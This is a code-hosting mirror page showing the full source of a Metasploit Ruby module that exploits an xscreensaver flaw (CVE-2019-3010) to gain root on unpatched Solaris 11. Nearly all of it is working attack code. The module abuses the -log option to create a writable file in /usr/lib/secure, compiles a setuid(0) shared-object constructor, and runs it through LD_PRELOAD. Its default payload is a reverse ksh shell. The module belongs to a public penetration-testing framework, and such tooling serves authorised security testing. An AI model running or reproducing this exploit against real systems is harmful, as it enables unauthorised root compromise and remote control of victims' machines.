Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/solaris/local/xscreensaver_log_priv_esc.rb
19612 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
include Msf::Post::File
10
include Msf::Post::Solaris::Priv
11
include Msf::Post::Solaris::System
12
include Msf::Post::Solaris::Kernel
13
include Msf::Exploit::EXE
14
include Msf::Exploit::FileDropper
15
prepend Msf::Exploit::Remote::AutoCheck
16
17
def initialize(info = {})
18
super(
19
update_info(
20
info,
21
'Name' => 'Solaris xscreensaver log Privilege Escalation',
22
'Description' => %q{
23
This module exploits a vulnerability in `xscreensaver` versions
24
since 5.06 on unpatched Solaris 11 systems which allows users
25
to gain root privileges.
26
27
`xscreensaver` allows users to create a user-owned file at any
28
location on the filesystem using the `-log` command line argument
29
introduced in version 5.06.
30
31
This module uses `xscreensaver` to create a log file in `/usr/lib/secure/`,
32
overwrites the log file with a shared object, and executes the shared
33
object using the `LD_PRELOAD` environment variable.
34
35
This module has been tested successfully on:
36
37
xscreensaver version 5.15 on Solaris 11.1 (x86); and
38
xscreensaver version 5.15 on Solaris 11.3 (x86).
39
},
40
'References' => [
41
['CVE', '2019-3010'],
42
['EDB', '47509'],
43
['URL', 'https://seclists.org/fulldisclosure/2019/Oct/39'],
44
['URL', 'https://github.com/0xdea/exploits/blob/master/solaris/raptor_xscreensaver'],
45
['URL', 'https://techblog.mediaservice.net/2019/10/local-privilege-escalation-on-solaris-11-x-via-xscreensaver/'],
46
['URL', 'https://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.html']
47
],
48
'Notes' => {
49
'Stability' => [CRASH_SAFE],
50
'SideEffects' => [],
51
'Reliability' => [],
52
'AKA' => ['raptor_xscreensaver']
53
},
54
'License' => MSF_LICENSE,
55
'Author' => [
56
'Marco Ivaldi', # Discovery and exploit
57
'bcoles' # Metasploit
58
],
59
'DisclosureDate' => '2019-10-16',
60
'Privileged' => true,
61
'Platform' => ['solaris', 'unix'],
62
'Arch' => [ARCH_CMD],
63
'Targets' => [['Auto', {}]],
64
'SessionTypes' => ['shell', 'meterpreter'],
65
'DefaultOptions' => {
66
'PAYLOAD' => 'cmd/unix/reverse_ksh',
67
'WfsDelay' => 10,
68
'PrependFork' => true
69
},
70
'DefaultTarget' => 0
71
)
72
)
73
register_options [
74
OptString.new('XSCREENSAVER_PATH', [true, 'Path to xscreensaver executable', '/usr/bin/xscreensaver']),
75
OptString.new('XORG_PATH', [true, 'Path to Xorg executable', '/usr/bin/Xorg'])
76
]
77
register_advanced_options [
78
OptString.new('Xdisplay', [true, 'Display to use if starting a new Xorg session', ':1']),
79
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
80
]
81
end
82
83
def xscreensaver_path
84
datastore['XSCREENSAVER_PATH']
85
end
86
87
def xorg_path
88
datastore['XORG_PATH']
89
end
90
91
def mkdir(path)
92
vprint_status "Creating directory '#{path}'"
93
cmd_exec "mkdir -p '#{path}'"
94
register_dir_for_cleanup path
95
end
96
97
def upload(path, data)
98
print_status "Writing '#{path}' (#{data.size} bytes) ..."
99
rm_f path
100
write_file path, data
101
register_file_for_cleanup path
102
end
103
104
def upload_and_compile(path, data)
105
upload "#{path}.c", data
106
107
output = cmd_exec "PATH=\"$PATH:/usr/sfw/bin/:/opt/sfw/bin/:/opt/csw/bin\" gcc -fPIC -shared -s -g -O2 -lc -o #{path} #{path}.c"
108
unless output.blank?
109
print_error output
110
fail_with Failure::Unknown, "#{path}.c failed to compile"
111
end
112
113
register_file_for_cleanup path
114
end
115
116
def check
117
unless setuid? xscreensaver_path
118
vprint_error "#{xscreensaver_path} is not setuid"
119
return CheckCode::Safe
120
end
121
vprint_good "#{xscreensaver_path} is setuid"
122
123
unless has_gcc?
124
vprint_error 'gcc is not installed'
125
return CheckCode::Safe
126
end
127
vprint_good 'gcc is installed'
128
129
xscreensaver_version = cmd_exec("#{xscreensaver_path} --help").to_s.scan(/^xscreensaver ([\d.]+)/).flatten.first
130
if xscreensaver_version.to_s.eql? ''
131
vprint_error 'Could not determine xscreensaver version'
132
return CheckCode::Detected
133
end
134
135
# Bug introduced in version 5.06. Patched in version <~ 5.42.
136
unless Rex::Version.new(xscreensaver_version).between?(Rex::Version.new('5.06'), Rex::Version.new('5.41'))
137
vprint_error "xscreensaver version #{xscreensaver_version} is not vulnerable"
138
return CheckCode::Safe
139
end
140
vprint_good "xscreensaver version #{xscreensaver_version} appears to be vulnerable"
141
142
CheckCode::Appears
143
end
144
145
def exploit
146
if is_root?
147
fail_with Failure::BadConfig, 'Session already has root privileges'
148
end
149
150
unless writable? datastore['WritableDir']
151
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
152
end
153
154
# Set display
155
display = cmd_exec 'echo $DISPLAY'
156
kill_xorg = false
157
158
if display.to_s.blank?
159
display = datastore['Xdisplay']
160
print_status "Starting Xorg on display #{display} ..."
161
cmd_exec "#{xorg_path} #{display} & echo "
162
kill_xorg = true
163
else
164
print_status "Using Xorg display #{display} ..."
165
end
166
167
# Create writable log file in /usr/lib/secure/
168
lib_name = rand_text_alphanumeric 5..10
169
if cmd_exec("/usr/bin/file #{xscreensaver_path}").to_s.include? 'ELF 64-bit'
170
secure_path = '/usr/lib/secure/64/'
171
else
172
secure_path = '/usr/lib/secure/'
173
end
174
lib_path = "#{secure_path}#{lib_name}.so"
175
176
print_status "Creating log file #{lib_path} ..."
177
cmd_exec "umask 0; DISPLAY=#{display} #{xscreensaver_path} -display #{display} -log #{lib_path} & echo "
178
179
Rex.sleep(5)
180
181
cmd_exec 'pkill -U `whoami` -n xscreensaver'
182
if kill_xorg
183
cmd_exec 'pkill -U `whoami` -n Xorg'
184
end
185
186
unless writable? lib_path
187
fail_with Failure::NotVulnerable, "Could not create writable log file #{lib_path}"
188
end
189
190
register_file_for_cleanup lib_path
191
192
# Upload and compile shared object
193
base_path = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric 5..10}"
194
mkdir base_path
195
196
payload_name = ".#{rand_text_alphanumeric 5..10}"
197
payload_path = "#{base_path}/#{payload_name}"
198
199
so = <<-EOF
200
#include <unistd.h>
201
void __attribute__((constructor)) cons() {
202
setuid(0);
203
setgid(0);
204
unlink("#{lib_path}");
205
execle("#{payload_path}", "", NULL, NULL);
206
_exit(0);
207
}
208
EOF
209
210
so_name = ".#{rand_text_alphanumeric 5..10}"
211
so_path = "#{base_path}/#{so_name}"
212
upload_and_compile so_path, so
213
214
# Overwrite newly created log file with compiled shared object
215
vprint_status "Writing shared object to #{lib_path}"
216
cmd_exec "cp '#{so_path}' '#{lib_path}'"
217
218
# Upload and execute payload
219
if payload.arch.first.to_s == 'cmd'
220
upload payload_path, "#!/bin/sh\n#{payload.encoded}"
221
else
222
upload payload_path, generate_payload_exe
223
end
224
chmod payload_path
225
226
print_status 'Executing payload...'
227
cmd_exec "LD_PRELOAD=#{lib_path} #{xscreensaver_path} --help & echo "
228
end
229
end
230
231